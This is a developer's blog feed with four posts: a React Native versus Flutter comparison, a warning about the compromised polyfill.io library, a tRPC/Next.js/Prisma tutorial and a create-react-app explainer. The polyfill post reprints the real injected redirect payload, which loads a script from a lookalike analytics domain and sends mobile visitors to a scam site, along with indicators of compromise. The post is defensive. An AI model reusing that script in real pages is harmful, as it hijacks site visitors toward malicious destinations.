DEV Community: David William Da Costa

React native or Flutter ?

David William Da Costa — Sat, 26 Oct 2024 07:48:07 +0000

Choosing Between React Native and Flutter for Mobile App Development

After working on several projects using React Native, I decided to explore Flutter to broaden my horizons and see how it compares to React Native. If you have a background in web development, especially with React, you’ll find React Native's syntax very similar to what you’re used to on the web.

If you're interested in mobile app development without diving deep into platform-specific code for Android or iOS, many developers prefer hybrid frameworks like React Native or Flutter. Here are some considerations to help you choose the right framework for your needs.

1. If You Have Experience in JavaScript or Web Development, Choose React Native

Yes, if you already have a background in JavaScript and are accustomed to using React for web development, React Native is an excellent choice. The learning curve will be gentler because React Native uses a component-based system similar to React. Here are some additional considerations:

Component-based Slicing is straightforward in both React Native and Flutter. Both frameworks utilize a component-based architecture where UI elements are organized as reusable widgets/components.
State management: Both frameworks support state management tools. In React Native, you have Redux, Context API, or MobX. Similarly, Flutter offers various state management libraries like Provider, Bloc, or Riverpod.
Code Styles: React Native uses JavaScript with styling close to CSS syntax, while Flutter uses Dart with similar styling principles, though the syntax differs.

2. If You Need More Performance, Choose Flutter

When comparing the performance of React Native and Flutter, Flutter generally has the edge. This is because Flutter uses Dart, which compiles to native machine code, making it faster. In contrast, React Native relies on JavaScript, which uses the V8 engine for interpretation, leading to slower performance in complex scenarios.

Performance-optimized builds: Both Flutter and React Native offer tools for optimizing performance. React Native provides the Hermes engine, improving JavaScript execution, while Flutter's native compilation offers high-speed performance.
Hot Reload: Both frameworks support Hot Reload, allowing you to instantly see changes in the code without restarting the entire application—making debugging and development faster.

3. The React Native Community is Larger Than Flutter's

In terms of community support, React Native has a more extensive and mature community. This is because React Native aligns well with web developers transitioning to mobile app development. However, Flutter’s community is rapidly growing, with many companies adopting Flutter as their mobile app development framework of choice.

Community and Plugin Libraries: Both frameworks have strong plugin ecosystems. React Native has a vast library of third-party packages, and Flutter’s growing repository, pub.dev, offers a wide range of well-maintained plugins, making it easier to integrate new functionalities.
Documentation Quality: Both have extensive and clear documentation. React Native’s documentation is designed for developers with a JavaScript background, while Flutter’s documentation focuses on Dart syntax and the widget approach.

4. If You Appreciate Clean Code, Flutter is a Great Choice

As someone new to Flutter, I was impressed by the clarity of Flutter's code structure. It uses Dart, which is an object-oriented language, making it easy to read and maintain. Here’s a simple example:

Row(
  children: [] // A collection of components
)

Container(
  child: Text("Hello World") // A container with a single component inside
)

The language's OOP nature will be familiar to those with experience in Java or other OOP languages, making the code more comprehensible.

Component-based UI Structure: Both React Native and Flutter use a declarative UI approach. In React Native, components like <View> and <Text> are used, while Flutter uses Container and Text. Both follow a hierarchy where elements can be nested and structured logically.
Flexibility with Custom Components: Both frameworks support creating custom components/widgets, allowing developers to build reusable UI elements.

5. Animation is Simpler with Flutter

One thing I noticed when using Flutter is the ease of creating animations between pages. Flutter has built-in components that provide smooth transitions. In React Native, you often need additional libraries, like React Native Skia, to achieve similar results. Effective animations can significantly enhance the user experience.

Animation Support: Both Flutter and React Native have robust animation capabilities. React Native has libraries like react-native-reanimated and react-navigation for animations, while Flutter includes built-in tools like AnimatedContainer, Hero, and AnimationController to handle complex animations smoothly.
Third-party Animation Libraries: Both frameworks have extensive libraries for advanced animations. React Native has Lottie, and Flutter supports it natively with Flutter’s Lottie package.

6. Expo is Amazing for Rapid App Delivery

For those unfamiliar, Expo is a tool that facilitates quick and easy app deployment in React Native. It streamlines the build process and offers many useful libraries for feature development.

Similar Tools for Fast Development: Just like Expo for React Native, Flutter offers tools like Codemagic or FlutterFlow for easy app delivery, automated CI/CD, and visual app building.
Integrated Developer Environments: Both React Native (with Expo) and Flutter have excellent debugging tools, simulators, and testing environments to speed up development.

These points aim to guide you in choosing the right hybrid framework for mobile app development, highlighting both similarities and differences between React Native and Flutter. Feel free to discuss if you have any questions or if I missed something. Thank you!

Frontend developer must read about polyfill? why?

David William Da Costa — Mon, 01 Jul 2024 03:35:14 +0000

so previously, you maybe already know that one of the library called polyfill got malicious scripts. before dive in, we need to know what is polyfill and why frontend must know?

polyfill is library that gave modern functionality in javascript still work on older browser. so an example like fetch that not work on old browser still work because this library can convert it and the problem with this library is the script that injected into website from this library or other can access all of script on users. that's was scary for me as developer and also as a users. This malicious attack can exploit you system, as a frontend developer we need to delete this polyfill.io from our project.

also the original author from polyfill recommends to not use polyfill at all, as it is no longer needed by modern browser. Meanwhile, both Fastly and Cloudflare have put up trustworthy alternatives, if you still need it.

Polyfill malicious payload example

after i read article from sansec.io. there is an example of malicious payload:

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

there is indicators of compromise

https://kuurza.com/redirect?from=bitget
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/ga.js
https://cdn.bootcss.com/highlight.js/9.7.0/highlight.min.js
https://union.macoms.la/jquery.min-4.0.2.js
https://newcrbpc.com/redirect?from=bscbc

you can also read this article and video:

Fullstack Application using tRPC, Next.js, Tailwind and Prisma

David William Da Costa — Sat, 25 Mar 2023 18:54:20 +0000

hai guys, so previously I just post about whether is it worth learning tRPC or not and I want to be shared the implementation of tRPC on next.js.

so before we code, we need to initialize the next.js application. open your terminal or CMD and type

npx create-next-app trpc-basic

notes: you can give any name of your application but in this tutorial, I name it 'trpc-basic'

after you type, you need to specify the application. you can follow the settings that I made above.

after that, we need to install several libraries that we need to build full-stack application

trpc

npm install @trpc/server @trpc/client @trpc/react-query @trpc/next @tanstack/react-query

prisma

npm install prisma --save-dev

zod (validation)

npm install zod

superjson (superset of JSON)

npm i superjson

Setup Back End

open the directory that generates by create-next-app, and you need to create a folder structure like below.

.
├── prisma  # <-- if prisma is added
│   └── [..]
├── src
│   ├── pages
│   │   ├── _app.tsx  # <-- add `withTRPC()`-HOC here
│   │   ├── api
│   │   │   └── trpc
│   │   │       └── [trpc].ts  # <-- tRPC HTTP handler
│   │   └── [..]
│   ├── server
│   │   ├── routers
│   │   │   ├── _app.ts  # <-- main app router
│   │   │   ├── post.ts  # <-- sub routers
│   │   │   └── [..]
│   │   ├── context.ts   # <-- create app context
│   │   └── trpc.ts      # <-- procedure helpers
│   └── utils
│       └── prisma.ts  # <-- your typesafe tRPC hooks
│       └── trpc.ts  # <-- your typesafe tRPC hooks
└── [..]

note: I just followed the folder structure from tRPC docs.

after that open utils/trpc.ts and type

import { AppRouter } from '@/server/routers/_app';
import { httpBatchLink, loggerLink } from '@trpc/client';
import { createTRPCNext } from '@trpc/next';
import type { inferProcedureInput, inferProcedureOutput } from '@trpc/server';
// ℹ️ Type-only import:
// https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-8.html#type-only-imports-and-export
import superjson from 'superjson';

function getBaseUrl() {
  if (typeof window !== 'undefined') {
    return '';
  }
  // reference for vercel.com
  if (process.env.VERCEL_URL) {
    return `https://${process.env.VERCEL_URL}`;
  }

  // // reference for render.com
  if (process.env.RENDER_INTERNAL_HOSTNAME) {
    return `http://${process.env.RENDER_INTERNAL_HOSTNAME}:${process.env.PORT}`;
  }

  // assume localhost
  return `http://localhost:${process.env.PORT ?? 3000}`;
}

/**
 * A set of strongly-typed React hooks from your `AppRouter` type signature with `createReactQueryHooks`.
 * @link https://trpc.io/docs/react#3-create-trpc-hooks
 */
export const trpc = createTRPCNext<AppRouter>({
  config({ ctx }) {
    /**
     * If you want to use SSR, you need to use the server's full URL
     * @link https://trpc.io/docs/ssr
     */
    return {
      /**
       * @link https://trpc.io/docs/data-transformers
       */
      transformer: superjson,
      /**
       * @link https://trpc.io/docs/links
       */
      links: [
        // adds pretty logs to your console in development and logs errors in production
        loggerLink({
          enabled: (opts) =>
            process.env.NODE_ENV === 'development' ||
            (opts.direction === 'down' && opts.result instanceof Error),
        }),
        httpBatchLink({
          url: `${getBaseUrl()}/api/trpc`,
        }),
      ],
      /**
       * @link https://react-query.tanstack.com/reference/QueryClient
       */
      // queryClientConfig: { defaultOptions: { queries: { staleTime: 60 } } },
    };
  },
  /**
   * @link https://trpc.io/docs/ssr
   */
  ssr: false,
});

so let me explain this, the code above is called custom hooked for use of tRPC in your application and there are several configs for data transformer, logger, etc.

next step, open utils/prisma.ts and type

/**
 * @link https://prisma.io/docs/support/help-articles/nextjs-prisma-client-dev-practices
 */
import { PrismaClient } from '@prisma/client';

export const prisma: PrismaClient =
  (global as any).prisma || new PrismaClient();

if (process.env.NODE_ENV !== 'production') {
  (global as any).prisma = prisma;
}

this configuration is for the integration prisma client with your application so you can use it.

next step, you need to fill server/trpc.ts with code below

import { initTRPC } from "@trpc/server";
import superjson from "superjson";
import { Context } from "./context";

const t = initTRPC.context<Context>().create({
    transformer: superjson,
});

export const router = t.router;
export const procedure = t.procedure;

this configuration is for initializing tRPC with context. maybe I will explain about context, so context holds data that all of your tRPC procedures will have access to, and is a great place to put things like database connections.

after that, we need to config context everytime request from client. open server/context.ts


import * as trpc from '@trpc/server';
import * as trpcNext from '@trpc/server/adapters/next';
import { prisma } from '@/utils/prisma';

// create context based of incoming request
export const createContext = async (
  opts?: trpcNext.CreateNextContextOptions,
) => {
  return {
    req: opts?.req,
    prisma,
    post: prisma.post,
  };
};
export type Context = trpc.inferAsyncReturnType<typeof createContext>;

we just finished to initialize tRPC but we can't use it because we need initialize router. so, open router/_app.ts

import { router } from "../trpc";
import { postRouter } from "./post";

export const appRouter = router({
    post: postRouter,
})

export type AppRouter = typeof appRouter;

we create AppRouter to merge router that represent feature. (try to read SOLID principle for make a better code)

after we merge router, type in router/post.ts

import { z } from "zod";
import { router, procedure } from "../trpc";

export const postRouter = router({
    all: procedure.query(({ctx}) => {
        return ctx.post.findMany({
            orderBy: {
                createdAt: 'asc'
            }
        })
    }),
    add: procedure.input(
        z.object({
            title: z.string().min(5),
            description: z.string(),
            author: z.string(),
        }),
    )
    .output(z.object({
        title: z.string().min(5),
        description: z.string(),
        author: z.string(),
    }))
    .mutation(async ({ctx, input}) => {
        const todo = await ctx.post.create({
            data: input
        })

        return todo
    })
})

in this tutorial, we just add some features like getting all posts and adding posts into the database. but before we add the post from the client, we need to validate input with a library called Zod. If the post was success validate then we add the post into the database using the function create(). create() is a function from prisma library that makes it easy to push the data into the database.

next step, open pages/api/trpc/[trpc].ts and then type

import * as trpcNext from "@trpc/server/adapters/next";
import { appRouter } from "@/server/routers/_app";
import { createContext } from "@/server/context";

export default trpcNext.createNextApiHandler({
    router: appRouter,
    createContext,
    onError({ error }) {
        if (error.code === 'INTERNAL_SERVER_ERROR') {
          // send to bug reporting
          console.error('Something went wrong', error);
        }
      },
})

with this config, we can access tRPC API in next.js and we add appRouter from the router that we created before so you can use it to get all posts and add posts.

after that, we need to make model for database. so, open prisma/schema.prisma and type

// This is your Prisma schema file,
// learn more about it in the docs: https://pris.ly/d/prisma-schema

generator client {
  provider = "prisma-client-js"
}

datasource db {
  provider = "sqlite"
  url      = env("DATABASE_URL")
}

model Post {
  id          Int       @id @default(autoincrement())
  title       String    
  description String    
  author      String    
  createdAt   DateTime  @default(now())
  updatedAt   DateTime  @updatedAt
}

for more about prisma ORM you can read this. Prisma schema.

so basically, we just add columns into tables like id, title, description, etc with data types and you can also edit database providers such as SQL, PostgreSQL, MongoDB and etc.

before we migrate the database, we need to create .env file in root folder and type

# Environment variables declared in this file are automatically made available to Prisma.
# See the documentation for more detail: https://pris.ly/d/prisma-schema#accessing-environment-variables-from-the-schema

# Prisma supports the native connection string format for PostgreSQL, MySQL, SQLite, SQL Server, MongoDB and CockroachDB.
# See the documentation for all the connection string options: https://pris.ly/d/connection-strings

DATABASE_URL=file:./posting-trpc.db"

notes: you can customize DATABASE_URL with your databases that you use.

next step, run this code in cmd or terminal (root folder)

prisma migrate dev --name init

after that, we can check migration on folder prisma/migrations. if it's not empty, database migrate was success.

Setup Front End

we're gonna use tailwind for styling css. so, type in your cmd or terminal

npm install -D tailwindcss postcss autoprefixer

after all that run properly, type

npx tailwindcss init -p

this code will initialize tailwind.config.js. open the file and add this code into content

"./src/**/*.{js,ts,jsx,tsx}",

next step, open styles/globals.css and then edit the css with this code

@tailwind base;
@tailwind components;
@tailwind utilities;

in this tutorial, i just use tailwind for css and didn't use css native

how server that we made can comunicate with front-end? we can use trpc utility that we made before and wrapped the _app.tsx. the code will be like this

import '@/styles/globals.css'
import { trpc } from '@/utils/trpc'
import type { AppType } from 'next/app'


const App: AppType = ({ Component, pageProps }) => {
  return <Component {...pageProps} />
}

export default trpc.withTRPC(App);

after that, we can use tRPC on views or pages file. in this case index.tsx. edit the index.tsx like down below.

import { trpc } from '@/utils/trpc'
import { Post } from '@/types/post';
import { useState } from 'react';

const ListItem = ({post}: {post: Post}) => {
  return (
    <tr key={post.id} className={`${post.id % 2 === 1 ? 'bg-gray-200' : null}`}>
        <td className='px-4 py-3.5 text-sm font-normal text-left rtl:text-right text-gray-800'>{post.title}</td>
        <td className='px-4 py-3.5 text-sm font-normal text-left rtl:text-right text-gray-800'>{post.description}</td>
        <td className='px-4 py-3.5 text-sm font-normal text-left rtl:text-right text-gray-800'>{post.author}</td>
        <td className='px-4 py-3.5 text-sm font-normal text-left rtl:text-right text-gray-800'>{post.createdAt.toLocaleString()}</td>
    </tr>
  )
}

type alertProps = {
  error: any;
  type: string;
}
const Alert = ({error, type}: alertProps) => {
  if(error === ""){
    return null
  }
  return (
    <div className={`rounded-lg ${type === 'error' ? "bg-red-500" : null} text-white p-2`}>
        <p>{error['message']}</p>
      </div>
  )
}

export default function Home() {
  const utils = trpc.useContext()
  const [title, setTitle] = useState("");
  const [description, setDescription] = useState("");
  const [author, setAuthor] = useState("");
  const [errorMessage, setErrorMessage] = useState("");

  const allPost = trpc.post.all.useQuery(undefined, {
    staleTime: 3000,
  })

  const submitPost = () => {
    addPost.mutate({title, description, author})
  }

  const addPost = trpc.post.add.useMutation({
    async onMutate() {
      await utils.post.all.cancel();
    },

    async onError(error) {
      console.log('error: ',error.data)
      setErrorMessage(error.message)
    },

    async onSuccess({title, description, author}) {
      const post = allPost.data ?? [];

      utils.post.all.setData(undefined, [
        ...post, 
        {
          id: Math.random(),
          title, 
          description, 
          author,
          createdAt: new Date(),
          updatedAt: new Date(),
        }
      ]
      )
    }
  });

  return (
    <div>
      <Alert
        error={errorMessage}
        type={'error'}
      />
      <h1 className='text-center my-5 font-semibold text-2xl'>create new post</h1>
      <div className='container w-1/2 mx-auto'>
      <div className='flex flex-col gap-4 mb-3'>
        <label className='font-bold text-lg'>Title</label>
        <input onChange={(e) => setTitle(e.target.value)} className="border p-2 rounded-lg" type={'text'} placeholder={"title here..."} />
      </div>
      <div className='flex flex-col gap-4 mb-3'>
        <label className='font-bold text-lg'>description</label>
        <textarea onChange={(e) => setDescription(e.target.value)} className="border p-2 rounded-lg" placeholder={"description here..."}></textarea>
      </div>
      <div className='flex flex-col gap-4'>
        <label className='font-bold text-lg'>author</label>
        <input onChange={(e) => setAuthor(e.target.value)} className="border p-2 rounded-lg" type={'text'} placeholder={"author here..."} />
      </div>
      <div className='text-center'>
      <button onClick={submitPost} className='bg-green-400 text-white p-3 rounded-lg mt-3 active:bg-green-600'>Post now</button>
      </div>
      </div>
      <h1 className='text-center my-5 font-semibold text-2xl'>list post</h1>
      <table className="table-auto mx-auto mt-5 border">
        <thead className='border'>
        <tr>
          <th className="px-4 py-3.5 text-sm font-bold text-center rtl:text-right text-gray-800">Title</th>
          <th className="px-4 py-3.5 text-sm font-bold text-center rtl:text-right text-gray-800">Description</th>
          <th className="px-4 py-3.5 text-sm font-bold text-center rtl:text-right text-gray-800">Author</th>
          <th className="px-4 py-3.5 text-sm font-bold text-center rtl:text-right text-gray-800">Created At</th>
        </tr>
        </thead>
        <tbody>
        {
            allPost.data?.map((data) => {
                return (
                  <ListItem post={data} key={data.id} />
                )
            })
          }
        </tbody>
      </table>
    </div>
  )
};

okay, I will explain this code above, so basically we want to get the data from tRPC by initializing tRPC in views and then we access the function from the router we made (in this case object name called all). after that, we want to add the post from the input we created in function postSubmit({title, description, author}).

you notice that we use useMutation for real-time fetch data, so every time we load again the page, data will be fetched again and we didn't need to reload the page to see data changed.

I think that from me, I wish this tutorial will help you to understand tRPC and how to create full-stack using next.js. thanks, guys :)

What is create react app?

David William Da Costa — Mon, 06 Jun 2022 14:58:05 +0000

hai guys, this is my first post in dev.to and i will talk about what is create react app?

anyway, when i learn about react library for making a website, i was very confuse about what is create react app? is it just a react library tools or it's a standard to create web app using react?

after i search and talk to my friends, i got the answer. create react app is a tool for make website using react much easier. it means, you didn't have to make the configuration like file, component, css and etc. the next question, is it another tool for making react web app? yes, i just find in community that tools called vite. vite is same with create react app, vite and create react app using webpack for bundling your react web app file (css, js and etc).

first thing when you want make react app, make sure you have node js in your environment. you can check this node website for install.

after that, you can choose tool for make react app (create react app or vite)

how you initialize react using create react app.
npx create-react-app your-app-name

if you want to use vite, you can run this command.
yarn create vite
after you run this command, you have to fill project name, and choose what library/framework you want to use it.

so that all from me, feel free if you want discuss about it and thank you :)